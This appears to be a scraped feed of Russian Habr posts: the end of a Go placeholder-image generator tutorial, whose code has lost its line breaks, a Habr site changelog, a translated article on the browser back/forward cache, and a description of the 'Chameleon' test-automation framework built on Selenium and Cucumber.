pacakge imgconst (        // Параметры по умолчаниюimgColorDefault = "E5E5E5"msgColorDefault = "AAAAAA"imgWDefault     = 300imgHDefault     = 300fontSizeDefault         = 0dpiDefault      float64 = 72fontfileDefault = "wqy-zenhei.ttf")// Do - входная точка.func Do(params []string) (*bytes.Buffer, error) {        // fetch img params: imgW, imgH, text, etc        // Соберём структуру Текстаlabel := Label{Text: msg, FontSize: fontSize, Color: msgColor}// Соберём структуру Картинки с нужными полями - высота, ширина, цвет и текстimg := Img{Width: imgW, Height: imgH, Color: imgColor, Label: label}// Сгенерим нашу картинку с текстомreturn img.generate()}// generate - соберёт картинку по нужным размерам, цветом и текстом.func (i Img) generate() (*bytes.Buffer, error) {// Если есть размеры и нет требований по Тексту - соберём Текст по умолчанию.if ((i.Width > 0 || i.Height > 0) && i.Text == "") || i.Text == "" {i.Text = fmt.Sprintf("%d x %d", i.Width, i.Height)}// Если нет требований по размеру шрифта - подберём его исходя из размеров картинки.if i.FontSize == 0 {i.FontSize = i.Width / 10if i.Height < i.Width {i.FontSize = i.Height / 5}}// Переведём цвет из строки в color.RGBA.clr, err := colors.ToRGBA(i.Color)if err != nil {return nil, err}// Создадим in-memory картинку с нужными размерами.m := image.NewRGBA(image.Rect(0, 0, i.Width, i.Height))// Отрисуем картинку:// - по размерам (Bounds)// - и с цветом (Uniform - обёртка над color.Color c Image функциями)// - исходя из точки (Point), как базовой картинки// - заполним цветом нашу Uniform (draw.Src)draw.Draw(m, m.Bounds(), image.NewUniform(clr), image.Point{}, draw.Src)// Добавим текст в картинку.if err = i.drawLabel(m); err != nil {return nil, err}var im image.Image = m// Выделим память под нашу данные (байты картинки).buffer := &bytes.Buffer{}// Закодируем картинку в нашу аллоцированную память.err = jpeg.Encode(buffer, im, nil)return buffer, err}// drawLabel - добавит текст на картинку.func (i *Img) drawLabel(m *image.RGBA) error {// Разберём цвет текста из строки в RGBA.clr, err := colors.ToRGBA(i.Label.Color)if err != nil {return err}// Получим шрифт (должен работать и с латиницей и с кириллицей).fontBytes, err := ioutil.ReadFile(fontfileDefault)if err != nil {return err}fnt, err := truetype.Parse(fontBytes)if err != nil {return err}// Подготовим Drawer для отрисовки текста на картинке.d := &font.Drawer{Dst: m,Src: image.NewUniform(clr),Face: truetype.NewFace(fnt, &truetype.Options{Size:    float64(i.FontSize),DPI:     dpiDefault,Hinting: font.HintingNone,}),}// Зададим базовую линию.d.Dot = fixed.Point26_6{X: (fixed.I(i.Width) - d.MeasureString(i.Text)) / 2,Y: fixed.I((i.Height+i.FontSize)/2 - 12),}// Непосредственно отрисовка текста в нашу RGBA картинку.d.DrawString(i.Text)return nil}

Пример, на запрос:

http://localhost:8080/600/200/004620/Заглушка/FFFFFF/50

получим:

Обратите внимание: мы можем создавать изображение с текстом на латинице и/или на кириллице.

А на такой запрос:

http://localhost:8080/480/200

4. Наложение текста (watermark) на изображение

Watermark может пригодится в таких кейсах:

  • для указания правообладателя на публикуемом изображении

  • на изображение можно накладывать текст рекламного характера

  • назначение изображения и его ограничения для использования

Например, указать, что данное изображение или фото могут быть использованы только для определённых целей и/или в ограниченные сроки.

5. Нарезка изображений

Не редко на платформе есть необходимость хранить набор изображений и их нарезки, по размерам и форматам.

В в какой-то момент может прийти требование изменить набор нарезанных размеров.

В этом случае необходимо производить нарезку новых размеров и, возможно, удалить другие размеры.

Возможны два сценария реализации нарезки:

  • разовая (нарезка для всего набора по требованию)

  • динамическая (нарезка в runtime)

У разовой нарезки есть неоспоримое преимущество - мы разово (например, раз в сутки) нарезаем все картинки или часть из них.

То есть, в данном случае мы требовательны к дисковому пространству. Быстрые диски ближе к клиенту и ближе к горячим данным (изображениям).

Динамическая нарезка изображений, позволяет освободить место под все "нарезки" и не беспокоиться об их актуальности.

Но в данном случае мы требовательны к вычислительным ресурсам и слой "кеширования" нарезки можно "сдвинуть" ближе к клиенту и в любой момент обновить набор размеров.

То есть идеальным вариантом (для ресурсов) будет гибридная нарезка. Когда мы выделяем данные, которые нужно нарезать динамически или разово.

Также если у Вас часто меняются размеры и формат изображений - Вам скорее больше подходит динамическая нарезка (при наличии вычислительных мощностей). Настоятельно рекомендую делать просчёты под Ваши планируемые требования и мощности.

Примечание

Все примеры кода приведены в ознакомительных целях. Соответственно, Вам нужно проверять и адаптировать данный подход под Ваши требования и цели.

Подробнее..

AMA с Хабром 23. Чёрная пятница в Хабр Киоске

27.11.2020 16:12:57 | Автор: admin
Если вы ещё не знали, то у Хабра есть мерч: майки, толстовки, маски подсети и даже handmade-слизень. Всё это находится в Хабр Киоске, который сегодня (в пятницу, а не во все дни, как у остальных) выглядит несколько необычно: подвигайте ползунок, чтобы заметить отличия. Утепляйтесь сами или закупайтесь подарками в АДМ.
Ну а под катом традиционный список обновлений на сайте

(листает канал ВДНХ в корпоративном чате, чтобы выбрать список публичных изменений)

Десктопный Хабр


  • Многочисленные улучшения в работе WYSIWYG-редактора, включая обработку маркированных и нумерованных списков, а также различные доработки упоминания (через @) пользователей.
  • Новый редактор добавлен в песочницу.
  • В новом редакторе появилась возможность добавлять опросы:

  • В редакторе появилась возможность делать отложенные публикации:

  • Для неопубликованных черновиков в новом редакторе появилась возможность удаления (чтобы не висели в профиле). Опубликованные посты, скрытые в черновики, по-прежнему удалить нельзя.

  • Изменён дефолтный фильтр ленты публикаций теперь это Всё подряд без выбранного порога рейтинга.
  • Починили ссылку на отписку от редакторского дайджеста для незарегистрированных пользователей. Подпишитесь на него, чтобы получать на почту отборное филе даже в том случае, если вы редко заходите на сайт сделать это можно в сайдбаре:

  • Доработали контекстный блок Минуточку внимания.
  • В хабах появился таб Компании, где выводится список компаний, внёсших наибольший вклад в развитие хаба. То же самое в потоках.
  • Многочисленные доработки API, исправление нескольких уязвимостей и багов.

Мобильный Хабр


  • В профиле пользователя появился раздел с отправленными приглашениями
  • Исправили ошибку в пагинации списка хабов
  • Добавили фильтры для статей

  • Обновили список хабов, добавили сортировки (по названию/рейтингу/подписчикам).
  • Лёгкий редизайн пагинации.
  • Доработали раздел со списком компаний: там стало выводиться больше информации, появилась различная сортировка и фильтрация компаний (в сайдбаре).
  • Редизайн блока Минуточку внимания.
  • В сайдбаре раздела публикаций появился блок с лучшими компаниями.
  • Доработали блок контактной информации пользователя под постом.

Пишите в комментариях свои вопросы к команде Хабра, сообщайте о багах, предлагайте новые фичи.

Всем спасибо за внимание и хороших выходных!
Подробнее..

Перевод BFcache

01.12.2020 14:07:50 | Автор: admin
BFcache технология оптимизации работы браузера, обеспечивающая мгновенную отдачу ранее просмотренной страницы при помощи кнопок Вперед и Назад. Этот паттерн значительно улучшает пользовательский опыт, особенно у пользователей, обладающих слабенькими устройствами или просматривающих сайт из-под медленных сетей. Люди пользуются кнопкой возврата, возможно, даже чаще, чем вы думаете. А если так, то зачем сразу выбрасывать страницу из памяти браузера, а спустя мгновение тратить трафик на её повторное открытие?

Вэб-разработчикам необходимо понимать, как улучшить взаимодействие пользователей с их продуктом. Давайте посмотрим, каким образом для решения этой задачи может быть использован BFcache.

Поддержка браузерами


BFcache уже много лет поддерживается как в Firefox, так и в Safari на всех устройствах.

Начиная с версии 86, Chrome поддерживает BFcache для межсайтовой навигации на Android для небольшого процента пользователей. В Chrome 87 поддержка BFcache будет развернута для всех пользователей Android при работе с межсайтовой навигацией, с планами поддерживать навигацию на том же сайте в ближайшем будущем.

Основы BFcache


Сколько раз вам приходилось переходить по ссылке на сайте, чтобы уйдя на другую страницу, понять, контент вам не интересен, и возвращаться при помощи кнопки Назад? В этот момент BFcache может существенно ускорить отдачу предыдущей страницы.

BFcache это in-memory кеш, в котором хранится снепшот страницы (включая js-heap), после того как пользователь покидает url этой страницы. Когда вся страница находится в памяти, браузер может быстро и легко восстановить ее, если пользователь решит вернуться.

Без поддержки BFcache при возвращении на предыдущую страницу инициируется новый запрос к ней. Таким образом, в зависимости от того, насколько страница оптимизирована под повторную загрузку, браузеру прийдется заново запросить некоторые (или все) ресурсы, потратить время и мощности на их повторный анализ и исполнение.

BFcache не только ускоряет навигацию по сайту, но и позволяет бережнее расходовать трафик в силу того, что не нужно повторно загружать ресурсы.

Данные об использовании Chrome показывают, что каждый десятый переход с десктопного устройства и каждый пятый с мобильного выполняется либо назад, либо вперед. С включенным BFcache браузеры могут исключить передачу данных и время, затрачиваемое на загрузку миллиардов веб-страниц каждый день!

Как это работает?


Кеширование, используемое BFcache, отличается от HTTP-кеша. BFcache это спешат всей страницы в памяти (включая js-heap), тогда как HTTP-кеш содержит только ответы на ранее сделанные запросы. Поскольку все запросы, необходимые для загрузки страницы, могут быть выполнены из HTTP-кеша довольно редко, повторные посещения с использованием восстановления из BFcache всегда быстрее, чем даже наиболее хорошо оптимизированные переходы без использования этой опции.

Тем не менее, хранение снепшота страницы в памяти связано с некоторыми сложностями с точки зрения того, как лучше всего сохранить текущий код. Например, как обработать вызовы setTimeout (), когда истекает время ожидания, если страница находится в BFcache?
Ответ заключается в том, что браузеры приостанавливают выполнение любых ожидающих таймеров или неразрешенных промисов и вообще всех отложенных задач и возобновляют их обработку, когда (или если) страница восстанавливается из BFcache.

В некоторых случаях риски того, что все пойдет не так, весьма малы, особенно когда мы имеем дело с таймерами или промисами. В других же случаях пользователь с высокой долей вероятности может столкнуться с неожиданным поведением страницы. Например, если браузер приостанавливает выполнение задачи, которая требуется как часть транзакции IndexedDB, это может повлиять на другие открытые вкладки в том же домене (поскольку к одним и тем же базам данных IndexedDB можно получить доступ с нескольких вкладок одновременно). В результате браузеры обычно не будут пытаться кэшировать страницы в середине транзакции IndexedDB или использовать API, которые могут повлиять на другие страницы.

API для работы с BFcache


Не смотря на то, что BFcache это оптимизация, выполняемая браузерами автоматически, разработчикам важно знать, когда это происходит, чтобы они могли оптимизировать свои страницы для этого и соответствующим образом скорректировать любые показатели при измерения производительности. Основными событиями, используемыми для работы BFcache, являются события перехода страницы: pageshow и pagehide. Они поддерживаются почти во всех современных браузерах. Новые события жизненного цикла страницы, freeze и resume, также отправляются, когда страницы записываются или считываются из BFcache, а также в некоторых других ситуациях. Например, когда фоновая вкладка замораживается для минимизации использования ЦП.

Обратите внимание, что события freeze и resume в настоящее время поддерживаются только в браузерах на основе Chromium.

Восстановление страницы из BFcache


Событие pageshow срабатывает сразу после события загрузки, когда страница загружается изначально, и каждый раз, когда страница восстанавливается из BFcache. У события pageshow есть свойство persisted, которое будет истинным, если страница была восстановлена из BFcache (и false, если нет). Вы можете использовать свойство persisted, чтобы отличить обычную загрузку страницы от восстановления BFcache. Например:

window.addEventListener ('pageshow', function (event) {  if (event.persisted) {    console.log ('Эта страница восстановлена из BFcache.');  } else {    console.log ('Эта страница загрузилась по запросу.');  }});

В браузерах, поддерживающих Page Lifecycle API, событие resume также срабатывает при восстановлении страниц из BFcache (непосредственно перед событием pageshow), хотя оно также запускается, когда пользователь повторно посещает замороженную фоновую вкладку. Если вы хотите восстановить состояние страницы после ее замораживания (включая страницы в BFcache), вы можете использовать событие возобновления, но если вы хотите измерить процент попаданий BFcache вашего сайта, вам нужно будет использовать событие pageshow. В некоторых случаях вам может понадобиться использовать оба события.

Запись страницы в BFcache


Событие pagehide является аналогом события pageshow. Событие pageshow запускается, когда страница либо загружается нормально, либо восстанавливается из BFcache. Событие pagehide возникает, когда страница либо выгружается в обычном режиме, либо когда браузер пытается поместить ее в BFcache.

Событие pagehide также имеет свойство persisted, и если оно false, вы можете быть уверены, что страница не собирается записаться в BFcache. Однако, если сохраненное свойство истинно, это не гарантирует, что страница будет кэширована. Это означает, что браузер намеревается кэшировать страницу, но могут иметь место факторы, делающую запись невозможной.

window.addEventListener('pagehide', function(event) {  if (event.persisted === true) {   console.log('*Возможно*, страница записана в BFcache.');  } else {    console.log('Эта страница будет выгружена нормально и будет удалена из памяти.');  }});

Как и в предыдущем примере для браузеров с поддержкой Page Lifecycle API, событие freeze срабатывает сразу после события pagehide (если свойство persisted события истинно), но опять же это означает, что браузер намерен закэшировать страницу. Возможно, кеширование не произойдет.

Помните про оптимизацию страниц


Не все страницы попадают в BFcache. Те страницы, что действительно закешировались, не пребывают там бесконечно. Очень важно, чтобы разработчики понимали, что делает страницы подходящими (или неприемлемыми) для BFcache, чтобы максимизировать количество их попаданий в кеш. Ниже рассмотрим методы, повышающие вероятность кеширования страниц браузером.

Никогда не используйте событие unload


Первый шаг при оптимизации страниц для BFcache отказ от использования события unload.

До недавнего времени разумно предполагалось, что страница прекращает свое существование в памяти после события unload, т. е. сразу после того, как пользователь покинул страницу. Реалии, продиктованные временем изменились. Всякий раз, когда посетитель покидает страницу, браузер сталкивается с дилеммой: улучшение пользовательского опыта, путем кеширования страницы против вероятности показа пользователю неактуальных данных.

FireFox не добавляет страницу в BFcache, если в ней используется событие unload. Safari же пытается кешировать такие страницы, но оперирует этим событием только когда пользователь действительно покидает страницу. Chorme при событии unload ведет себя примерно как Safari.

В качестве альтернативы используйте событие pagehide. Событие pagehide запускается во всех случаях, когда в данный момент запускается событие unload, а также возникает, когда страница помещается в BFcache.

Lighthouse v6.2.0 добавил в аудит пункт no-unload-listeners, предупреждающий разработчиков, если какой-либо JavaScript на их страницах (в том числе из сторонних библиотек) добавляет прослушивание события unload.

Иными словами, если вы хотите повысить скорость работы вашего сайта в FireFox, Safari, Chrome, перестаньте слушать событие unload. Вместо него слушайте событие pagehide.

С осторожностью используйте событие beforeunload


Событие beforeunload не воспрепятствует попаданию страницы в BFcache в Chrome и Safari, зато воспрепятствует в случае FireFox. Используйте это событие только при необходимости.
Однако, у прослушивания этого события есть вполне конкретные кейсы применения. Например, предупредить не сохранившего форму пользователя о том, что он будет вынужден заполнить форму снова, если покинет страницу. В этом примере рекомендуется слушать событие только при заполнении пользователем данных.

Анти-паттерн. Событие прослушивается безусловно.

window.addEventListener ('beforeunload', (событие) => {  if (pageHasUnsavedChanges ()) {    event.preventDefault ();    return event.returnValue = 'Вы уверены, что хотите выйти?';  }});

Паттерн. Событие прослушивается только при необходимости

unction beforeUnloadListener (событие) {  event.preventDefault ();  return event.returnValue = 'Вы уверены, что хотите выйти?';};// Функция, которая запускает коллбек, когда на странице есть несохраненные изменения.onPageHasUnsavedChanges (() => {  window.addEventListener ('beforeunload', beforeUnloadListener);});// Функция, которая запускает коллбек, когда несохраненные изменения страницы разрешены.onAllChangesSaved (() => {  window.removeEventListener ('beforeunload', beforeUnloadListener);});

Избегайте использования window.opener


В некоторых браузерах (включая Chrome версии 86), если страница была открыта с помощью window.open () или по ссылке с target="_blank" без указания rel=noopener, открывающая страница будет содержать ссылку на оконный объект открытой страницы. Такие страницы не попадут в BFcache, т. к. существует угроза безопасности и из-за вероятности поломки других страниц, пытающихся получить к ним доступ.

Закрывайте соединения перед уходом пользователя со страницы


Как упоминалось выше, при записи страницы в BFcache, все запланированные js-задачи приостанавливаются, а затем возобновляются, когда страница считывается от туда. Если эти задачи обращаются только к API-интерфейсам, изолированным только для текущей страницы (например, DOM), то приостановка выполнения этих задач, пока страница не видна пользователю, не вызовет никаких проблем. Но, если имеют место задачи связаны с API-интерфейсами, которые также доступны с других страниц того же домена (например, IndexedDB, Web Locks, WebSockets и т. д.), можно столкнуться с проблемой, т. к. поскольку приостановка этих задач может помешать запуску кода на других вкладках.

Иными словами, браузер даже не будет пытаться записать в BFcache страницы, где:

  • незавершена транзакция к IndexDB;
  • выполняется fetch () или XMLHttpRequest;
  • открыто соединение по WebSocket или WebRTC.

Если что-то из приведенного выше списка актуально для страницы, приостановите работу с ними во время прослушивания событий pagehide или freeze, что повысит шанс записать страницу в BFcache. Вы всегда сможете возобновить работу с этими API при считывании страницы из кеша.

Тесты вам в помощь


Хоть и нет способа определить, была ли страница помещена в кеш, можно удостовериться, что переход назад или вперед восстановил страницу из кеша.

В настоящее время в Chrome страница может оставаться в BFcache до трех минут, что должно быть достаточно времени для запуска теста (с использованием такого инструмента, как Puppeteer или WebDriver), чтобы убедиться, что свойство события pageshow истинно после перехода. от страницы, а затем нажмите кнопку назад.

Обратите внимание, что, хотя в нормальных условиях страница должна оставаться в кеше достаточно долго, чтобы запустить тест, она может в любой момент от туда исчезнуть (например, если система испытывает нехватку памяти). Неудачный тест не обязательно означает, что ваши страницы не кэшируются, поэтому вам необходимо соответствующим образом настроить критерии отказа теста или сборки.

В Chrome в настоящее время BFcache включен только на мобильных устройствах. Чтобы протестировать bfcache на десктопе, вам необходимо включить флаг # back-forward-cache.

Отключение BFcache


Если вы не хотите, чтобы страница сохранялась в BFcache, вы можете убедиться, что она не кэшируется, установив заголовок:

Cache-Control: no-store

Все другие директивы кэширования (включая отсутствие кеширования или даже отсутствие хранения в зависимом фрейме) не влияют на право страницы на использование BFcache.

Хотя этот метод эффективен и работает во всех браузерах, он имеет другие последствия для кеширования и производительности, которые могут быть нежелательными. Для решения этой проблемы предлагается добавить более явный механизм отказа, в том числе механизм очистки BFcache, если это необходимо (например, когда пользователь выходит из веб-сайта на общем устройстве).

Кроме того, в Chrome в настоящее время возможен отказ на уровне пользователя с помощью флага # back-forward-cache, а также отказ на основе корпоративной политики.

Внимание: учитывая улучшения пользовательского опыта, обеспечивающиеся средствами BFcache, не рекомендуется его отключать, кроме случаев необходимости по соображениям конфиденциальности, например, если пользователь выходит из веб-сайта на общем устройстве.

Влияние на аналитику


Если вы отслеживаете посещения своего сайта с помощью инструмента аналитики, вы, вероятно, заметите уменьшение общего количества просмотров страниц, поскольку Chrome продолжает включать BFcache для большего числа пользователей.

Фактически, вы, вероятно, уже занижаете количество просмотров страниц из других браузеров, которые реализуют BFcache, поскольку большинство популярных аналитических библиотек не отслеживают восстановление BFcache как новые просмотры страниц.

Если вы не хотите, чтобы количество просмотров страниц уменьшалось из-за включения BFcache, вы можете сообщить о восстановлении BFcache как о просмотрах страниц (рекомендуется), прослушав событие pageshow и проверив свойство persisted.

В следующем примере показано, как это сделать с помощью Google Analytics (или любых аналогичных инструментов):

// Отправляем просмотр страницы при первой загрузке страницы.gtag ('event', 'page_view')window.addEventListener ('pageshow', function (event) {  if (event.persisted === true) {    // Отправить еще один просмотр страницы, если страница восстановлена из bfcache.    gtag ('event', 'page_view')  }});

Измерения производительности


BFcache также может отрицательно повлиять на показатели производительности, собираемые в полевых условиях (в частности, время загрузки страницы).

Поскольку навигация BFcache считывает существующую страницу, а не инициирует загрузку новой страницы, общее количество собранных загрузок страниц будет уменьшаться при включении BFcache. Критично то, что загрузка страниц, замененная считыванием из BFcache, вероятно, была бы одной из самых быстрых загрузок страниц в вашем наборе данных. Это связано с тем, что переходы вперед и назад по определению являются повторными посещениями, а повторные загрузки страниц обычно выполняются быстрее, чем загрузка страниц при первом посетителе (из-за кеширования HTTP, как упоминалось ранее). В результате в вашем наборе данных будет меньше быстрых загрузок страниц, что, вероятно, ухудшит показатели, несмотря на то, что производительность, с которой сталкивается пользователь, скорее всего улучшится!

Есть несколько способов справиться с этой проблемой. Один из них аннотировать все показатели загрузки страницы соответствующим типом навигации: навигация, перезагрузка, back_forward или предварительная визуализация. Это позволит вам продолжать следить за своей производительностью в рамках этих типов навигации. Этот подход рекомендуется для показателей загрузки страницы, не ориентированных на пользователя, таких как время до первого байта (TTFB). Для показателей, ориентированных на пользователя, таких как Core Web Vitals, лучший вариант сообщить значение, которое более точно отражает то, что испытывает пользователь.

Внимание: тип навигации back_forward в Navigation Timing API не следует путать с восстановлением BFcache. Navigation Timing API только аннотирует загрузку страниц, тогда как считывание из BFcache повторно использует страницу, загруженную из предыдущей навигации.

Влияние на Core Web Vitals


Core Web Vitals измеряет взаимодействие пользователя с веб-страницей по различным параметрам (скорость загрузки, интерактивность, визуальная стабильность), и, поскольку пользователи воспринимают считывание из BFcache как более быстрое перемещение по сравнению с традиционной загрузкой страниц, важно, чтобы показатели Core Web Vitals отражали это. В конце концов, пользователя не волнует, включен ли BFcache или нет, его просто заботит, чтобы навигация была быстрой!

Такие инструменты, как отчет о пользовательском опыте Chrome, которые собирают и предоставляют отчеты о показателях Core Web Vitals, скоро будут обновлены, чтобы обрабатывать считывание BFcache как отдельные посещения страницы в наборе данных.

И хотя (пока что) не существует специализированных API-интерфейсов веб-производительности для измерения этих показателей после восстановления BFcache, их значения можно приблизительно оценить с помощью существующих веб-API.

  • Для Largest Contentful Paint (LCP) вы можете использовать дельту между отметкой времени события pageshow и отметкой времени следующего нарисованного кадра (поскольку все элементы в кадре будут нарисованы одновременно). Обратите внимание, что в случае восстановления bfcache LCP и FCP будут одинаковыми.
  • Для First Input Delay (FID) вы можете повторно добавить подписчики на события (те же, что используются полифилом FID) в событии pageshow и сообщить FID как задержку первого ввода после считывается из BFcache.
  • Для Cumulative Layout Shift (CLS) вы можете продолжать использовать существующий Performance Observer; все, что вам нужно сделать, это доиться текущее значение CLS, близкого (а лучше равного) 0.

Для получения дополнительной информации о том, как BFcache влияет на каждую метрику, обратитесь к отдельным страницам руководств по метрикам Core Web Vitals. А конкретный пример того, как реализовать версии этих показателей для bfcache в коде, можно найти в PR, добавив их в библиотеку JS web-vitals.

Начиная с версии 1, библиотека JavaScript web-vitals поддерживает восстановление BFcache в отчетных показателях. Разработчикам, использующим v1 или выше, не нужно обновлять свой код.
Подробнее..

Хамелеон, которого мы создали и приручили

01.12.2020 14:07:50 | Автор: admin

Речь, конечно, пойдет не о харизматичных ящерках, а о нашем собственном инструменте автоматизированного тестирования. Представляем вашему вниманию кейс создания фреймворка Хамелеон и рассказ о его функциональности.


Его появлению предшествовало 15 лет практики тестирования в компании IBS AppLine* (лидера российского рынка аутсорсинга услуг тестирования по версии TAdviser за 2018 год на минуточку!). На базе этих знаний и экспертизы мы задались целью ускорить старт проектов, повысить качество тестирования, упростить введение в работу новичков. Решение должно позволить автоматизировать функциональное тестирование веб, мобильных, десктоп-приложений и различных видов API.




В общем, исследовательский центр IBS AppLine Innovation** суммировал весь опыт компании и создал Хамелеон инструмент для автоматизации функционального тестирования. Делался с использованием языка программирования Java и инструментов Cucucmber, Selenium, Appium, Winium, Spring. Этот фреймворк:


  • позволяет сэкономить до 30% времени разработки и сопровождения тестов;
  • снижает риск ошибок за счет автоматического заполнения параметров этапов теста;
  • помогает обучать и привлекать к разработке тестов стажеров, владеющих только базовыми навыками программирования;
  • при переходе с проекта на проект дает возможность использовать одну и ту же библиотеку шагов, а также единый подход к написанию тестов;
  • может работать с экзотическими компонентами тестируемых систем благодаря удобству подключения дополнительных расширений.

Теперь подробнее о функционале



Как устроен Хамелеон


Вот несколько особенностей нашего фреймворка:


  • Это многомодульный maven-проект, который включает модули тестирования web, мобильных приложений, SAP-приложений, баз данных, Rest API и web-сервисов. Необходимые модули подключаются к проекту.
  • Мы взяли проверенные временем оpen source-инструменты, в том числе Selenium, Appium, Winium, и удачно их объединили в одном решении.
  • Для ускорения разработки автоматизированных тестов мы создали плагин для среды разработки IntelliJ IDEA. Получился полезный инструмент разработчика автоматизированных тестов. Плагин дополняет возможности IDEA, делая ее полноценным рабочим местом.
  • Для удобства разработки автоматизированных тестов для web-приложений мы создали расширение для браузера Google Chrome, которое позволяет добавлять элементы тестируемого приложения в проект прямо из браузера и имеет возможность записи автоматизированного теста в формате Cucumber методом Record&Playback.

Open source-библиотеки


В основе инструмента лежат оpen source-библиотеки Selenium, Appium, Winium, UIAutomation. Для разработки самих тестов используется фреймворк Cucumber, который позволяет писать на русском языке. Такой формат понятен и ручным тестировщикам, и не имеющим отношения к написанию конкретного теста специалистам автоматического тестирования, что снижает порог вхождения сотрудников в проект. Всему, что происходит в Cucumber, соответствуют свои Java-команды, так что при необходимости тесты можно разрабатывать на чистой Java.



Простота установки


Для разработки автоматизированных тестов с использованием Java на рабочую станцию устанавливаются Java JDK, Apache Maven/Gradle, IntelliJ IDEA, плагины для Intellij IDEA, Git Client. У начинающих специалистов это занимает много времени. Мы упростили процесс, разработав общий инсталлятор, который представляет собой .exe-файл с возможностью выбора необходимого ПО для установки на рабочее место:




Начало разработки


Для разработки автоматизированных тестов можно использовать готовые стартеры проектов. Стартеры это архетипы maven, которые содержат готовую структуру проекта. Они хранятся во внутреннем репозитории компании. При создании проекта в IntelliJ IDEA нужно лишь выбрать необходимые. Например, для разработки тестов, которые взаимодействуют с web-приложением и REST, необходимо подключить модули chameleon-selenium-cucumber и chameleon-rest-cucumber.




Немного о фреймворке


В основном автоматизированные тесты разрабатываются с помощью инструмента Cucumber, который позволяет писать тесты на русском языке. Автоматизированный тест состоит из следующих блоков:


  • переменные для тестовых сценариев;
  • наименование тестируемой функциональности;
  • тестовые сценарии, которые состоят из последовательных шагов действий с тестируемым приложением.

Пример автоматизированного теста:



# language: ru# Тестовые данные:  # $ФИО Иванов Иван Иванович  # $ссылка https://www.appline.ru/Функция: Заявка на обучение  Сценарий: Заявка на обучение    * страница "Главная" загружена    * выбран элемент коллекции "Меню" с параметрами:      | field        | operator | value             |      | Наименование | равно    | Start IBS AppLine |    * нажатием на кнопку "Наименование" загружена страница "Start IBS AppLine"    * поле "Имя" заполняется значением "#{ФИО}"    * поле "Ссылка на резюме" заполняется значением "#{ссылка}"    * выполнено нажатие на "Отправить"    * поле "Required field" видимо

Существуют шаблоны для работы с переменными: операции с датами, математические операции, выполнение кода и т.д. Например, для работы с текущей датой используется шаблон #now{дата; исходный_формат; смещение}. Предположим, в автоматизированном тесте необходимо проверить дату операции, которая была только что осуществлена. Такая проверка будет выглядеть так:


* значение поля "Дата операции" равно "#now{dd.MM.yyyy HH:mm}"

А, например, создать отложенную операцию, которая исполнится завтра:


* поле "Дата операции" заполняется значением "#now{dd.MM.yyyy;+1d}}"

Выполнить программный код можно с использованием шаблона #script{RESULT=выражение_java}. Например, удаление лишних символов в переменной будет выглядеть следующим образом:


* в переменной "Номер_счета" сохранено значение поля "Номер счета"* значение поля "Номер счета" равно "#script{RESULT = Номер_счета.replaceAll("", "")}"

В нашем фреймворке разработаны основные Cucumber-шаги, которые напоминают шаги из ручных тестовых сценариев. Они описывают действия, которые человек может совершить с тестируемым приложением: нажать на элемент, ввести значение в поле, прочитать значение, сравнить значения и т.д. Таких шагов примерно 30. Для часто повторяемых операций такие шаги объединяются в более крупный шаг.


Например, авторизация в приложении может описываться в 3 шага:


Когда заполняются поля:  | field  | value        |  | Логин  | test@test.ru |  | Пароль | 123123       |И выполнено нажатие на "Войти"Тогда страница "Главная" загружена

Или на основе этих шагов создается 1 шаг (пароль в этом случае хранится в отдельном файле с пользователями):


Дано авторизован пользователь "test@test.ru"

Все размеченные элементы тестируемого приложения имеют свой тип, например, Button, TextInput, Combobox, Checkbox и т.д., это позволяет использовать одни и те же Cucumber-шаги для работы с разными типами элементов. Например, есть шаг:


* поле "field" заполяется значением "value"

Он сможет работать как c текстовыми полями, так и чекбоксами, выпадающими списками и т.д. Это позволяет при разработке автоматизированного теста не задумываться о заполнении полей этим занимается сам фреймворк, мы просто указываем ему заполнить поле.



АРМ тестировщика или разработка теста


Стандартное представление проекта для разработки тестов содержит много классов и вспомогательных файлов, которые очень редко нужны при разработке самого автоматизированного теста. Чтобы упростить этот процесс мы постарались оградить тестировщика от этой информации и разработали плагин для Intellij IDEA. Его интерфейс стал рабочим местом тестировщика, и содержит следующие разделы:


  • список тестов,
  • объектный репозиторий,
  • список доступных действий,
  • настройки запуска,
  • документацию,
  • различные автокомплиты, ускоряющие процесс создания теста.


Список тестов


Список тестов представляет собой привычную иерархию папок и файлов. На вкладке плагина можно создать новый тест, при этом будет загружен шаблон, редактирующийся в настройках проекта.




Репозиторий объектов


Традиционный и очень популярный инструмент разработчика автоматизированных тестов шаблон Page Object Pattern. При его использовании элементы тестируемого приложения описываются в отдельных java-классах, которые соответствуют страницам тестируемого приложения. На крупных проектах таких Page Object-классов становится очень много. Кроме того, иногда они еще и называются беспорядочно. В результате для больших проектов такой подход не очень удобен: неизбежно дублирование работы на проектах работает много специалистов, приходится расшифровывать работу коллег и анализировать разметку элементов, а это не всегда проходит гладко.


Поэтому мы создали репозиторий объектов тестируемого приложения. Он хранит все его элементы не в классах, а в одном или нескольких xml-файлах, а плагин для IntelliJ Idea показывает эти xml-файлы в виде древовидной структуры, в которой узлами являются страницы тестируемого приложения. Вместо разномастных английских названий мы используем русский язык, что упрощает работу тестировщиков, так им легче находить размеченные страницы и элементы, а также добавлять новые.


Приведем конкретный пример. Для одного крупнейшего отечественного банка (название по понятным причинам не называем) нами было разработано 20 автотестов, использовавших 78 страниц тестируемых приложений (достаточно длинный бизнес-процесс). В обычных условиях тестировщикам пришлось бы создать 78 java-классов и разметить на них более 2000 элементов. С Хамелеоном мы всю эту громаду открываем в древовидной структуре, в которой их легко и просто просматривать, перетаскивать, компоновать.




Существует два способа добавления элементов в репозиторий.


Добавление в среде разработки IntelliJ IDEA:



Интерфейс мы постарались сделать максимально удобным: из него можно добавлять, редактировать и удалять элементы, есть несколько видов сортировок и поиска элементов в дереве. При добавлении элемента необходимо указать его тип, наименование и локатор.


Также есть возможность добавлять элементы прямо из тестируемого приложения с помощью созданного нами расширения для браузера Google Chrome. Расширение самостоятельно определяет тип элемента, его наименование и подставляет локатор. Для этого достаточно навести мышкой на элемент. Расширение синхронизируется с плагином в IntelliJ IDEA, поэтому все, что происходит в браузере, передается в среду разработки. Так можно наполнять репозиторий объектов, проходя ручной тест в браузере. С помощью расширения можно проверить корректность локатора уже существующего в репозитории элемента.




Чтобы не было дублирования элементов, существует тип элемента Block. Например, у нас в тестируемом приложении есть блок Меню, и он доступен на всех страницах приложения: в этом случае в репозитории элементов мы размечаем его как страницу Меню, содержащую элементы меню, а на других страницах добавляем его как элемент с типом Block. Таким образом, получается переиспользование элементов, которые встречаются более чем на одной странице.



Разработка автоматизированного теста


